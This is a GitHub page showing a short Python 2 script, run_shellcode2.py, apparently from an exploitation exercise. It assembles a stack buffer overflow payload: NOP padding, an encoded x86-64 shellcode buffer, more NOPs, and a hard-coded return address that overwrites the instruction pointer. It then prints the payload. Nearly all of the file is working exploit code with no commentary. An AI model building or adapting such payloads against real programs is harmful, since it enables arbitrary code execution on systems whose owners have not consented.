-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathrun_shellcode2.py
More file actions
23 lines (19 loc) · 789 Bytes
/
Copy pathrun_shellcode2.py
File metadata and controls
23 lines (19 loc) · 789 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import struct
buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\xb6\x5c\xa1\xcd\x28\x8f\x64"
buf += b"\xba\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\xdc\x75\xf9\x54\x42\x8d\x3b\xd0\xb7\x02\xae\xc8\x60"
buf += b"\x18\x2c\x03\xb4\x5c\xb0\x91\x84\x9f\x68\xbb\xe7\x14"
buf += b"\x28\x2b\x42\x9f\x3e\xd0\x9c\x04\xae\xc8\x42\x8c\x3a"
buf += b"\xf2\x49\x92\xcb\xec\x70\x80\x61\xcf\x40\x36\x9a\x95"
buf += b"\xb1\xc7\xdf\x95\xd4\x35\xcf\xe2\x5b\xe7\x64\xe9\xfe"
buf += b"\xd5\x46\x9f\x7f\xc7\xed\x5c\xb9\x59\xa1\xcd\x28\x8f"
buf += b"\x64\xba"
# tbuf = "\xcc"*119
# print len(buf)
RIP = struct.pack("Q", 0x7fffffffe260-0x200)
padding = "\x90" * 813
nops= "\x90" * 100
payload= padding + buf + nops + RIP
print payload